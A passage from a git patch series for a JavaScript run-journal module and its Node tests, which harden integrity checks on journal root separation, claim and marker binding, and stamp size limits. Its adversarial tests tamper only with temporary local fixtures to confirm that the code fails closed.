stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { stdout += chunk; }); + child.stderr.on('data', (chunk) => { stderr += chunk; }); + const done = new Promise((resolve, reject) => { + child.on('exit', () => { + try { + resolve(JSON.parse(stdout.trim().split('\n').at(-1))); + } catch (error) { + reject(new Error(`worker produced no result (${stderr.trim()}): ${error.message}`)); + } + }); + child.on('error', reject); + }); + return { done, child }; +} + +test('legacy stamp, fingerprint, six events, reducer, cursor, and entrypoints stay byte-identical', async () => { + assert.equal(RUN_JOURNAL_STAMP_SCHEMA_ID, GOLDEN.stampSchemaV1); + assert.equal(RUN_JOURNAL_STAMP_SCHEMA_ID_V2, GOLDEN.stampSchemaV2); + assert.deepEqual([...RUN_JOURNAL_EVENT_KINDS], GOLDEN.eventKinds); + assert.equal(RUN_JOURNAL_GENESIS_PREV, GOLDEN.genesisPrev); + assert.equal(RUN_JOURNAL_HASH_DOMAIN, GOLDEN.hashDomain); + assert.equal(RUN_JOURNAL_CURSOR_DOMAIN, GOLDEN.cursorDomain); + assert.equal(RUN_JOURNAL_STATE_SCHEMA_ID, GOLDEN.stateSchema); + + const sample = GOLDEN.fingerprintSample; + const fingerprint = createHash('sha256') + .update(`${RUN_JOURNAL_HASH_DOMAIN}\n${sample.runId}\n${sample.recordDigest}\n`, 'utf8') + .digest('hex'); + assert.equal(fingerprint, sample.fingerprint); + + const storeRoot = await makeStoreRoot('r1-r25b-legacy-store-'); + const journalRoot = await makePrivateRoot('r1-r25b-legacy-journal-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: 'run-journal-bind' })); + const journal = await createRunJournal({ + root: journalRoot, store, run_id: 'run-journal-bind', + }); + assert.equal(typeof journal.record_canonical_digest, 'string'); + assert.equal(journal.aggregate_binding_digest, undefined); + const stamp = JSON.parse(await readFile(path.join(journal.directory, 'created.json'), 'utf8')); + assert.equal(stamp.schema, GOLDEN.stampSchemaV1); + assert.deepEqual(Object.keys(stamp).sort(), GOLDEN.stampV1Keys); + assert.match(stamp.nonce, /^[0-9a-f]{32}$/u); + assert.equal(stamp.run_id, 'run-journal-bind'); + assert.equal(stamp.record_canonical_digest, journal.record_canonical_digest); + + const opened = await journal.append({ kind: 'run_opened', data: {} }); + assert.equal(opened.entry.hash, GOLDEN.runOpenedHash); + const line = (await readFile(path.join(journal.directory, 'journal.jsonl'), 'utf8')) + .split('\n') + .filter(Boolean)[0]; + assert.equal(line, GOLDEN.runOpenedLine); + + const reopened = await openRunJournal({ + root: journalRoot, store, run_id: 'run-journal-bind', + }); + assert.equal(reopened.record_canonical_digest, journal.record_canonical_digest); + assert.equal(reopened.run_fingerprint, journal.run_fingerprint); + assert.equal((await reopened.currentState()).head_hash, GOLDEN.runOpenedHash); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('selection-branch resolution_ready binds stamp v2 and exact reopen/replay', async () => { + await withAggregateJournal(async ({ journal, journalRoot, anchor, runId, root }) => { + assert.equal(journal.run_id, runId); + assert.equal(journal.record_canonical_digest, undefined); + assert.match(journal.aggregate_binding_digest, /^sha256:[0-9a-f]{64}$/u); + assertFrozenTree(journal.aggregate_binding_digest); + + const stamp = JSON.parse(await readFile(path.join(journal.directory, 'created.json'), 'utf8')); + assert.equal(stamp.schema, GOLDEN.stampSchemaV2); + assert.deepEqual(Object.keys(stamp).sort(), GOLDEN.stampV2Keys); + assert.equal(stamp.run_id, runId); + assert.equal(stamp.binding_digest, journal.aggregate_binding_digest); + + const bound = await bindAggregateResolution(anchor, runId); + assert.equal(bound.phase, 'resolution_ready'); + assert.equal(bound.revision, 2); + assert.equal(bound.binding_digest, journal.aggregate_binding_digest); + assert.equal(validateBoundAggregateResolution(bound).binding_digest, bound.binding_digest); + + const first = await journal.append({ kind: 'run_opened', data: {} }); + assert.equal(first.created, true); + assert.equal(first.entry.hash, GOLDEN.runOpenedHash); + const line = (await readFile(path.join(journal.directory, 'journal.jsonl'), 'utf8')) + .split('\n') + .filter(Boolean)[0]; + assert.equal(line, GOLDEN.runOpenedLine); + + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const live = await journal.currentState(); + + const reopened = await openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + assert.equal(reopened.aggregate_binding_digest, journal.aggregate_binding_digest); + assert.equal(reopened.run_fingerprint, journal.run_fingerprint); + const replayed = await reopened.currentState(); + assert.equal(canonicalJsonStringify(replayed), canonicalJsonStringify(live)); + + const again = await openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + assert.equal(again.aggregate_binding_digest, journal.aggregate_binding_digest); + assert.equal(canonicalJsonStringify(await again.currentState()), canonicalJsonStringify(live)); + void root; + }); +}); + +test('direct-plan resolution_ready@1 binds a distinct identity and replays after restart', async () => { + await withAggregateJournal(async ({ journal, journalRoot, anchor, runId }) => { + const bound = await bindAggregateResolution(anchor, runId); + assert.equal(bound.phase, 'resolution_ready'); + assert.equal(bound.revision, 1); + assert.equal(journal.aggregate_binding_digest, bound.binding_digest); + + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const cachePath = path.join(journal.directory, 'state.json'); + const stale = await readFile(cachePath); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.a' } }); + await writeFile(cachePath, stale); + + const restarted = await openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + const replayed = await restarted.currentState(); + assert.equal(replayed.revision, 3); + assert.equal(replayed.event_counts.child_progress, 1); + await restarted.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.b' } }); + const cached = JSON.parse(await readFile(cachePath, 'utf8')); + assert.equal(cached.revision, 4); + }, { branch: 'plan', runId: 'direct-plan-run' }); +}); + +test('pre-resolution and empty roots never infer or claim aggregate journal state', async () => { + const root = await makePrivateRoot('r1-r25b-preres-'); + const journalRoot = await makePrivateRoot('r1-r25b-preres-j-'); + try { + const anchor = await initializeAggregateRunAnchorRoot(root); + assert.equal((await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: AGGREGATE_RUN_ID, + }))).code, 'aggregate_run_not_found'); + assert.deepEqual(await readdir(journalRoot), []); + + await anchor.submit(makeSubmitInput()); + const submitted = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: AGGREGATE_RUN_ID, + })); + assert.equal(submitted.code, 'run_journal_aggregate_not_ready'); + assertNoSecret(submitted); + assert.deepEqual(await readdir(journalRoot), []); + + const missingOpen = await errorOf(() => openAggregateRunJournal({ + root: journalRoot, anchor, run_id: AGGREGATE_RUN_ID, + })); + assert.ok(missingOpen.code === 'run_journal_not_found' + || missingOpen.code === 'run_journal_aggregate_not_ready'); + } finally { + await rm(root, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('legacy and aggregate entrypoints never cross-open or share roots', async () => { + const prepared = await makeResolvedAnchor(); + const journalRoot = await makePrivateRoot('r1-r25b-cross-j-'); + const storeRoot = await makeStoreRoot('r1-r25b-cross-p24-'); + try { + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor: prepared.anchor, run_id: AGGREGATE_RUN_ID, + }); + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: AGGREGATE_RUN_ID })); + const legacyOpen = await errorOf(() => openRunJournal({ + root: journalRoot, store, run_id: AGGREGATE_RUN_ID, + })); + assert.equal(legacyOpen.code, 'run_journal_dir_rebound'); + assert.equal(journal.aggregate_binding_digest.startsWith('sha256:'), true); + + const legacyRoot = await makePrivateRoot('r1-r25b-cross-legacy-'); + try { + await createRunJournal({ root: legacyRoot, store, run_id: AGGREGATE_RUN_ID }); + const aggOpen = await errorOf(() => openAggregateRunJournal({ + root: legacyRoot, anchor: prepared.anchor, run_id: AGGREGATE_RUN_ID, + })); + assert.equal(aggOpen.code, 'run_journal_dir_rebound'); + } finally { + await rm(legacyRoot, { recursive: true, force: true }); + } + + const sharedAnchor = await errorOf(() => createAggregateRunJournal({ + root: prepared.root, anchor: prepared.anchor, run_id: AGGREGATE_RUN_ID, + })); + assert.equal(sharedAnchor.code, 'run_journal_root_shared'); + + const storeAsAnchor = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor: store, run_id: AGGREGATE_RUN_ID, + })); + assert.equal(storeAsAnchor.code, 'invalid_type'); + + const extra = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor: prepared.anchor, run_id: AGGREGATE_RUN_ID, store, + })); + assert.equal(extra.code, 'unknown_key'); + } finally { + await rm(prepared.root, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + await rm(storeRoot, { recursive: true, force: true }); + } +}); + +test('selection and direct-plan bindings differ; identical reopen stays idempotent', async () => { + const selection = await makeResolvedAnchor({ branch: 'selection', runId: 'bridge-select-run' }); + const plan = await makeResolvedAnchor({ branch: 'plan', runId: 'bridge-plan-run' }); + const selectRoot = await makePrivateRoot('r1-r25b-sel-j-'); + const planRoot = await makePrivateRoot('r1-r25b-plan-j-'); + try { + const selectJournal = await createAggregateRunJournal({ + root: selectRoot, anchor: selection.anchor, run_id: 'bridge-select-run', + }); + const planJournal = await createAggregateRunJournal({ + root: planRoot, anchor: plan.anchor, run_id: 'bridge-plan-run', + }); + assert.notEqual(selectJournal.aggregate_binding_digest, planJournal.aggregate_binding_digest); + const selectAgain = await openAggregateRunJournal({ + root: selectRoot, anchor: selection.anchor, run_id: 'bridge-select-run', + }); + assert.equal(selectAgain.aggregate_binding_digest, selectJournal.aggregate_binding_digest); + const exists = await errorOf(() => createAggregateRunJournal({ + root: selectRoot, anchor: selection.anchor, run_id: 'bridge-select-run', + })); + assert.equal(exists.code, 'run_journal_already_exists'); + } finally { + await rm(selection.root, { recursive: true, force: true }); + await rm(plan.root, { recursive: true, force: true }); + await rm(selectRoot, { recursive: true, force: true }); + await rm(planRoot, { recursive: true, force: true }); + } +}); + +test('cross-process aggregate appends serialize through the existing journal lock', async () => { + await withAggregateJournal(async ({ journal, journalRoot, root, runId }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const workers = ['w0', 'w1', 'w2'].map((prefix) => spawnWorker({ + anchorRoot: root, journalRoot, runId, count: 4, prefix, + })); + const results = await Promise.all(workers.map((worker) => worker.done)); + for (const result of results) { + assert.equal(result.ok, true, `worker failed: ${result.code ?? ''} ${result.message ?? ''}`); + } + const createdTotal = results.reduce((sum, result) => sum + result.created, 0); + const dedupedTotal = results.reduce((sum, result) => sum + result.deduped, 0); + assert.equal(createdTotal + dedupedTotal, 12); + const final = await journal.currentState(); + assert.equal(final.revision, 14); + assert.equal(final.event_counts.child_progress, 12); + }); +}); From cf226913aac32187e027996f959875d38f1de8c3 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 03:03:50 +0000 Subject: [PATCH 044/151] fix(run): close R25B aggregate binding and restore P25 stamp cap Reject R24A ancestor/descendant/shared journal roots by directory ancestry, compare every immutable claim/anchor identity including the submission idempotency key after canonical redigest, and reread the complete binding under the root chain immediately before any journal directory or file creation. Keep MAX_RUN_JOURNAL_STAMP_BYTES at 256 for legacy v1 and isolate the larger v2 limit as an aggregate-only cap. --- .../codex-co-engineer/mcp/v3/run-journal.mjs | 187 +++++++++++++----- ...run-journal-aggregate-adversarial.test.mjs | 122 +++++++++++- .../test/r1-run-journal-aggregate.test.mjs | 29 +++ 3 files changed, 288 insertions(+), 50 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/run-journal.mjs b/plugins/codex-co-engineer/mcp/v3/run-journal.mjs index a1a0b38..5358775 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-journal.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-journal.mjs @@ -125,7 +125,8 @@ export const MAX_RUN_JOURNAL_TEMPORARIES = 8; export const MAX_RUN_JOURNAL_DIRECTORY_ENTRIES = 16; export const MAX_RUN_JOURNAL_ROOT_ENTRIES = 8; export const MAX_RUN_JOURNAL_LOCK_BYTES = 160; -export const MAX_RUN_JOURNAL_STAMP_BYTES = 384; +export const MAX_RUN_JOURNAL_STAMP_BYTES = 256; +export const MAX_AGGREGATE_RUN_JOURNAL_STAMP_BYTES = 384; export const MAX_RUN_JOURNAL_DIAGNOSTIC_BYTES = 160; export const RUN_JOURNAL_LOCK_WAIT_MS = 2_000; export const RUN_JOURNAL_LOCK_POLL_MS = 10; @@ -172,6 +173,7 @@ const FILE_WRITE_FLAGS = fsConstants.O_RDWR | (fsConstants.O_NOFOLLOW ?? 0); const MAX_AUDIT_ATTEMPTS = 24; +const MAX_DIRECTORY_ANCESTRY_WALK = 96; const JOURNAL_CHAINS = new Map(); @@ -795,7 +797,7 @@ function validateDurableMarker(parsed) { return snapshotRecord(fields); } -function validateDurableClaim(parsed, runId) { +function validateDurableClaim(parsed, runId, observed, marker) { let fields; try { fields = closedObject(parsed, 'claim', AGGREGATE_CLAIM_KEYS); @@ -812,6 +814,14 @@ function validateDurableClaim(parsed, runId) { if (digest !== fields.canonical_digest) { failAggregateMismatch('claim', 'The aggregate claim digest does not match.'); } + if (fields.run_id !== observed.run_id + || fields.anchor_digest !== observed.anchor_digest + || fields.submission_idempotency_key !== observed.submission_idempotency_key + || fields.root_marker_digest !== observed.marker_digest + || fields.root_marker_digest !== marker.canonical_digest + || fields.root_marker_nonce !== marker.nonce) { + failAggregateMismatch('claim', 'The aggregate claim does not bind this marker and anchor.'); + } return snapshotRecord(fields); } @@ -896,6 +906,7 @@ async function observeAggregateResolution(anchor, runId) { run_id: runId, marker_digest: anchor.marker_digest, anchor_digest: validated.canonical_digest, + submission_idempotency_key: validated.submission_idempotency_key, coordination_digest: coord.state_digest, resolved_plan_digest: coord.resolved_plan_digest, phase: coord.phase, @@ -903,15 +914,22 @@ async function observeAggregateResolution(anchor, runId) { }; } +function snapshotFsIdentity(stat) { + return { dev: Number(stat.dev), ino: Number(stat.ino) }; +} + async function readDurableAggregateIdentity(anchorRoot, runId, observed) { + const identities = {}; const rootToken = await openDirectoryHandle(anchorRoot, 'anchor'); try { + identities.root = snapshotFsIdentity(rootToken); const markerOpened = await readBoundedFile( rootToken, AGGREGATE_MARKER_NAME, MAX_AGGREGATE_MARKER_BYTES, AGGREGATE_MARKER_NAME, ); const marker = validateDurableMarker(parseCanonicalStoredBytes( markerOpened === null ? null : markerOpened.bytes, AGGREGATE_MARKER_NAME, )); + identities.marker = snapshotFsIdentity(markerOpened.stat); if (marker.canonical_digest !== observed.marker_digest) { failJournal('run_journal_aggregate_swapped', AGGREGATE_MARKER_NAME, 'The aggregate root marker changed during binding.'); @@ -921,6 +939,7 @@ async function readDurableAggregateIdentity(anchorRoot, runId, observed) { ); let claim; try { + identities.claims = snapshotFsIdentity(claimsToken); const claimName = `${runId}.json`; const claimOpened = await readBoundedFile( claimsToken, claimName, MAX_AGGREGATE_CLAIM_BYTES, 'claim', @@ -928,21 +947,21 @@ async function readDurableAggregateIdentity(anchorRoot, runId, observed) { claim = validateDurableClaim( parseCanonicalStoredBytes(claimOpened === null ? null : claimOpened.bytes, 'claim'), runId, + observed, + marker, ); + identities.claim = snapshotFsIdentity(claimOpened.stat); } finally { await claimsToken.handle.close().catch(() => {}); } - if (claim.anchor_digest !== observed.anchor_digest - || claim.root_marker_digest !== marker.canonical_digest - || claim.root_marker_nonce !== marker.nonce) { - failAggregateMismatch('claim', 'The aggregate claim does not bind this marker and anchor.'); - } const runsToken = await openDirectoryHandle( childPath(rootToken.path, AGGREGATE_RUNS_NAME), 'runs', ); try { + identities.runs = snapshotFsIdentity(runsToken); const runToken = await openDirectoryHandle(childPath(runsToken.path, runId), 'directory'); try { + identities.run = snapshotFsIdentity(runToken); const planOpened = await readBoundedFile( runToken, AGGREGATE_PLAN_RECORD_NAME, MAX_AGGREGATE_RECORD_BYTES, AGGREGATE_PLAN_RECORD_NAME, ); @@ -952,6 +971,7 @@ async function readDurableAggregateIdentity(anchorRoot, runId, observed) { ), runId, ); + identities.plan = snapshotFsIdentity(planOpened.stat); if (plan.canonical_digest !== observed.resolved_plan_digest) { failJournal('run_journal_aggregate_swapped', AGGREGATE_PLAN_RECORD_NAME, 'The resolved-plan record changed during binding.'); @@ -967,6 +987,7 @@ async function readDurableAggregateIdentity(anchorRoot, runId, observed) { observed.anchor_digest, claim.nonce, ); + identities.stamp = snapshotFsIdentity(stampOpened.stat); } finally { await runToken.handle.close().catch(() => {}); } @@ -976,34 +997,43 @@ async function readDurableAggregateIdentity(anchorRoot, runId, observed) { return { ...observed, claim_digest: claim.canonical_digest, + identities, }; } finally { await rootToken.handle.close().catch(() => {}); } } -export async function bindAggregateResolution(anchor, runId) { - assertRunId(runId, 'run_id'); - const bound = assertAnchorHandle(anchor); - const first = await observeAggregateResolution(bound.handle, runId); - const durable = await readDurableAggregateIdentity(bound.root, runId, first); - const second = await observeAggregateResolution(bound.handle, runId); - const firstProj = projectAggregateBinding(durable); - const secondProj = { - ...projectAggregateBinding({ - ...second, - claim_digest: durable.claim_digest, - }), - }; - if (canonicalJsonStringify(firstProj) !== canonicalJsonStringify(secondProj) +async function observeCompleteAggregateBinding(anchor, runId) { + const observed = await observeAggregateResolution(anchor, runId); + return readDurableAggregateIdentity(anchor.root, runId, observed); +} + +function aggregateObservationChanged(first, second) { + const firstProj = projectAggregateBinding(first); + const secondProj = projectAggregateBinding(second); + return canonicalJsonStringify(firstProj) !== canonicalJsonStringify(secondProj) || first.marker_digest !== second.marker_digest || first.anchor_digest !== second.anchor_digest + || first.submission_idempotency_key !== second.submission_idempotency_key + || first.claim_digest !== second.claim_digest || first.coordination_digest !== second.coordination_digest || first.resolved_plan_digest !== second.resolved_plan_digest - || first.revision !== second.revision) { + || first.phase !== second.phase + || first.revision !== second.revision + || canonicalJsonStringify(first.identities) !== canonicalJsonStringify(second.identities); +} + +export async function bindAggregateResolution(anchor, runId) { + assertRunId(runId, 'run_id'); + const bound = assertAnchorHandle(anchor); + const first = await observeCompleteAggregateBinding(bound.handle, runId); + const second = await observeCompleteAggregateBinding(bound.handle, runId); + if (aggregateObservationChanged(first, second)) { failJournal('run_journal_aggregate_swapped', 'anchor', 'The aggregate resolution identity changed during binding.'); } + const firstProj = projectAggregateBinding(first); const bindingDigest = computeAggregateBindingDigest(firstProj); return validateBoundAggregateResolution({ ...firstProj, @@ -1011,25 +1041,59 @@ export async function bindAggregateResolution(anchor, runId) { }); } +async function directoryIdentity(dirPath) { + let handle; + try { + handle = await open(assertSafeRootPath(dirPath), ROOT_OPEN_FLAGS); + } catch { + return null; + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isDirectory()) return null; + return snapshotFsIdentity(stat); + } finally { + await handle.close().catch(() => {}); + } +} + +async function ancestorIdentities(dirPath) { + const chain = []; + let current = dirPath; + for (let depth = 0; depth < MAX_DIRECTORY_ANCESTRY_WALK; depth += 1) { + const ident = await directoryIdentity(current); + if (ident === null) break; + if (chain.some((entry) => entry.dev === ident.dev && entry.ino === ident.ino)) break; + chain.push(ident); + const parent = path.dirname(current); + if (parent === current) break; + current = parent; + } + return chain; +} + +function chainContains(chain, ident) { + if (ident === null || ident === undefined) return false; + return chain.some((entry) => entry.dev === Number(ident.dev) && entry.ino === Number(ident.ino)); +} + async function verifyAggregateRootSeparation(anchor, rootToken) { - const names = [anchor.root]; - names.push(path.join(anchor.root, AGGREGATE_CLAIMS_NAME)); - names.push(path.join(anchor.root, AGGREGATE_RUNS_NAME)); - for (const candidate of names) { - let handle; - try { - handle = await open(assertSafeRootPath(candidate), ROOT_OPEN_FLAGS); - } catch { - continue; - } - try { - const stat = await handle.stat(); - if (sameIdentity(stat, rootToken)) { - failJournal('run_journal_root_shared', 'root', - 'The journal root must be separate from the R24A aggregate root.'); - } - } finally { - await handle.close().catch(() => {}); + const journalIdent = snapshotFsIdentity(rootToken); + const journalChain = await ancestorIdentities(rootToken.path); + const forbidden = [ + anchor.root, + path.join(anchor.root, AGGREGATE_CLAIMS_NAME), + path.join(anchor.root, AGGREGATE_RUNS_NAME), + ]; + for (const candidate of forbidden) { + const ident = await directoryIdentity(candidate); + if (ident === null) continue; + const candidateChain = await ancestorIdentities(candidate); + if (sameIdentity(ident, journalIdent) + || chainContains(journalChain, ident) + || chainContains(candidateChain, journalIdent)) { + failJournal('run_journal_root_shared', 'root', + 'The journal root must be separate from the R24A aggregate root.'); } } } @@ -1176,8 +1240,14 @@ async function auditStateCache(dirToken, entries, replayedState, volatile = fals // Verifies this directory is exactly the private journal created for the // bound record. Survives inode reuse: a deleted-and-recreated or foreign // substituted directory cannot carry the creation stamp of this binding. +function stampByteLimit(journalMode) { + return journalMode === JOURNAL_MODE_AGGREGATE + ? MAX_AGGREGATE_RUN_JOURNAL_STAMP_BYTES + : MAX_RUN_JOURNAL_STAMP_BYTES; +} + async function verifyCreationStamp(dirToken, binding, journalMode = JOURNAL_MODE_LEGACY) { - const opened = await readBoundedFile(dirToken, STAMP_NAME, MAX_RUN_JOURNAL_STAMP_BYTES, STAMP_NAME); + const opened = await readBoundedFile(dirToken, STAMP_NAME, stampByteLimit(journalMode), STAMP_NAME); const rebound = () => failJournal('run_journal_dir_rebound', STAMP_NAME, 'The run directory is not the private journal created for this bound record.'); if (opened === null) rebound(); @@ -1238,9 +1308,10 @@ async function writeCreationStamp(dirToken, binding, nonceHex, journalMode = JOU nonce: nonceHex, }; const body = `${canonicalJsonStringify(record)}\n`; - if (NodeBuffer.byteLength(body, 'utf8') > MAX_RUN_JOURNAL_STAMP_BYTES) { + if (journalMode === JOURNAL_MODE_AGGREGATE + && NodeBuffer.byteLength(body, 'utf8') > MAX_AGGREGATE_RUN_JOURNAL_STAMP_BYTES) { failJournal('run_journal_file_too_large', STAMP_NAME, - `Journal files must not exceed ${MAX_RUN_JOURNAL_STAMP_BYTES} bytes.`); + `Journal files must not exceed ${MAX_AGGREGATE_RUN_JOURNAL_STAMP_BYTES} bytes.`); } await atomicPublish(dirToken, STAMP_NAME, NodeBuffer.from(body, 'utf8'), STAMP_NAME); } @@ -1632,10 +1703,31 @@ async function buildHandle(parsed, binding, mode) { try { if (journalMode === JOURNAL_MODE_AGGREGATE) { await verifyAggregateRootSeparation(parsed.anchor, rootToken); - } else { - await verifyRootSeparation(store, rootToken); + return await withRunChain(rootToken, async () => { + const pinned = await reopenAndVerify(rootToken, 'root'); + try { + const fresh = await bindAggregateResolution(parsed.anchor, parsed.runId); + if (fresh.binding_digest !== binding.binding_digest) { + failJournal('run_journal_aggregate_swapped', 'anchor', + 'The aggregate resolution identity changed during binding.'); + } + return await materializeJournalHandle(parsed, binding, mode, digest, pinned); + } finally { + await pinned.handle.close().catch(() => {}); + } + }); } - const rootNames = await enumerateDirectory(rootToken, MAX_RUN_JOURNAL_ROOT_ENTRIES, 'root'); + await verifyRootSeparation(store, rootToken); + return await materializeJournalHandle(parsed, binding, mode, digest, rootToken); + } finally { + await rootToken.handle.close().catch(() => {}); + } +} + +async function materializeJournalHandle(parsed, binding, mode, digest, rootToken) { + const { root, store, runId } = parsed; + const journalMode = parsed.journalMode ?? JOURNAL_MODE_LEGACY; + const rootNames = await enumerateDirectory(rootToken, MAX_RUN_JOURNAL_ROOT_ENTRIES, 'root'); if (!rootNames.includes('runs')) { if (mode !== 'create') { failJournal('run_journal_not_found', 'root', @@ -1714,9 +1806,6 @@ async function buildHandle(parsed, binding, mode) { } finally { await runsToken.handle.close().catch(() => {}); } - } finally { - await rootToken.handle.close().catch(() => {}); - } } async function mkdirExclusive(target, field) { diff --git a/plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs index c19fdaf..135ca7a 100644 --- a/plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs @@ -16,7 +16,7 @@ import { import path from 'node:path'; import test from 'node:test'; -import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { IDENTITY_LABELS, canonicalJsonStringify } from '../mcp/v3/identity.mjs'; import { RUN_JOURNAL_LOCK_SCHEMA_ID, RUN_JOURNAL_STAMP_SCHEMA_ID, @@ -24,6 +24,7 @@ import { createAggregateRunJournal, openAggregateRunJournal, } from '../mcp/v3/run-journal.mjs'; +import { identityBoundDigest } from '../mcp/v3/selection-json.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { AGGREGATE_RUN_ID, @@ -47,6 +48,45 @@ function assertNoSecret(error) { assert.doesNotMatch(error.message, /sel-[0-9a-f]{32}/u); } +function redigestMarker(fields) { + const payload = { schema: fields.schema, kind: fields.kind, nonce: fields.nonce }; + return { + ...payload, + canonical_digest: identityBoundDigest(IDENTITY_LABELS.STORAGE_ROOT, payload), + }; +} + +function redigestClaim(fields) { + const payload = { + schema: fields.schema, + run_id: fields.run_id, + anchor_digest: fields.anchor_digest, + submission_idempotency_key: fields.submission_idempotency_key, + root_marker_nonce: fields.root_marker_nonce, + root_marker_digest: fields.root_marker_digest, + nonce: fields.nonce, + }; + return { + ...payload, + canonical_digest: identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_CLAIM, payload), + }; +} + +function wrapAnchor(anchor, afterCoordination) { + let calls = 0; + return { + root: anchor.root, + marker_digest: anchor.marker_digest, + getByRunId: (runId) => anchor.getByRunId(runId), + async getCoordination(runId) { + const record = await anchor.getCoordination(runId); + calls += 1; + if (afterCoordination !== undefined) await afterCoordination(calls, record); + return record; + }, + }; +} + async function withReady(fn, options) { const prepared = await makeResolvedAnchor(options); const journalRoot = await makePrivateRoot('r1-r25b-adv-j-'); @@ -368,3 +408,83 @@ test('journal root foreign files, group-readable roots, and shared runs dirs fai assert.equal(foreignRoot.code, 'run_journal_foreign_entry'); }); }); + +test('ancestor and descendant R24A journal roots fail closed before mutation', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const spare = path.join(root, 'runs', 'spare-run'); + await mkdir(spare, { mode: 0o700 }); + const nested = await errorOf(() => createAggregateRunJournal({ + root: spare, anchor, run_id: runId, + })); + assert.equal(nested.code, 'run_journal_root_shared'); + assert.deepEqual(await readdir(spare), []); + assert.deepEqual(await readdir(journalRoot), []); + + const ownedRun = path.join(root, 'runs', runId); + const beforeOwned = await readdir(ownedRun); + const descendant = await errorOf(() => createAggregateRunJournal({ + root: ownedRun, anchor, run_id: runId, + })); + assert.equal(descendant.code, 'run_journal_root_shared'); + assert.deepEqual(await readdir(ownedRun), beforeOwned); + assert.ok(!beforeOwned.includes('runs')); + }); +}); + +test('a redigested claim with a mismatched submission key fails closed', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const claimPath = path.join(root, 'claims', `${runId}.json`); + const honest = JSON.parse(await readFile(claimPath, 'utf8')); + const mutated = redigestClaim({ + ...honest, + submission_idempotency_key: `sha256:${'e'.repeat(64)}`, + }); + assert.notEqual(mutated.submission_idempotency_key, honest.submission_idempotency_key); + assert.notEqual(mutated.canonical_digest, honest.canonical_digest); + await writeFile(claimPath, `${canonicalJsonStringify(mutated)}\n`); + const mismatched = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.equal(mismatched.code, 'run_journal_aggregate_mismatch'); + assertNoSecret(mismatched); + assert.deepEqual(await readdir(journalRoot), []); + }); +}); + +test('pre-publication claim/marker/plan swap fails with zero journal artifacts', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const markerPath = path.join(root, 'storage-root.v1'); + const claimPath = path.join(root, 'claims', `${runId}.json`); + const planPath = path.join(root, 'runs', runId, 'resolved-plan.record.json'); + const honestMarker = JSON.parse(await readFile(markerPath, 'utf8')); + const honestClaim = JSON.parse(await readFile(claimPath, 'utf8')); + const honestPlan = await readFile(planPath); + + async function swapValidBinding() { + const marker = redigestMarker({ ...honestMarker, nonce: 'c'.repeat(32) }); + const claim = redigestClaim({ + ...honestClaim, + root_marker_nonce: marker.nonce, + root_marker_digest: marker.canonical_digest, + nonce: 'd'.repeat(32), + }); + await writeFile(markerPath, `${canonicalJsonStringify(marker)}\n`); + await writeFile(claimPath, `${canonicalJsonStringify(claim)}\n`); + await unlink(planPath); + await writeFile(planPath, honestPlan); + } + + const wrapped = wrapAnchor(anchor, async (calls) => { + if (calls >= 2) await swapValidBinding(); + }); + const swapped = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor: wrapped, run_id: runId, + })); + assert.ok([ + 'run_journal_aggregate_swapped', + 'run_journal_aggregate_mismatch', + ].includes(swapped.code), swapped.code); + assertNoSecret(swapped); + assert.deepEqual(await readdir(journalRoot), []); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs b/plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs index de49461..a407c36 100644 --- a/plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs @@ -9,6 +9,7 @@ import test from 'node:test'; import { initializeAggregateRunAnchorRoot } from '../mcp/v3/aggregate-run-anchor.mjs'; import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; import { + MAX_RUN_JOURNAL_STAMP_BYTES, RUN_JOURNAL_CURSOR_DOMAIN, RUN_JOURNAL_STAMP_SCHEMA_ID, RUN_JOURNAL_STAMP_SCHEMA_ID_V2, @@ -159,6 +160,34 @@ test('legacy stamp, fingerprint, six events, reducer, cursor, and entrypoints st } }); +test('legacy 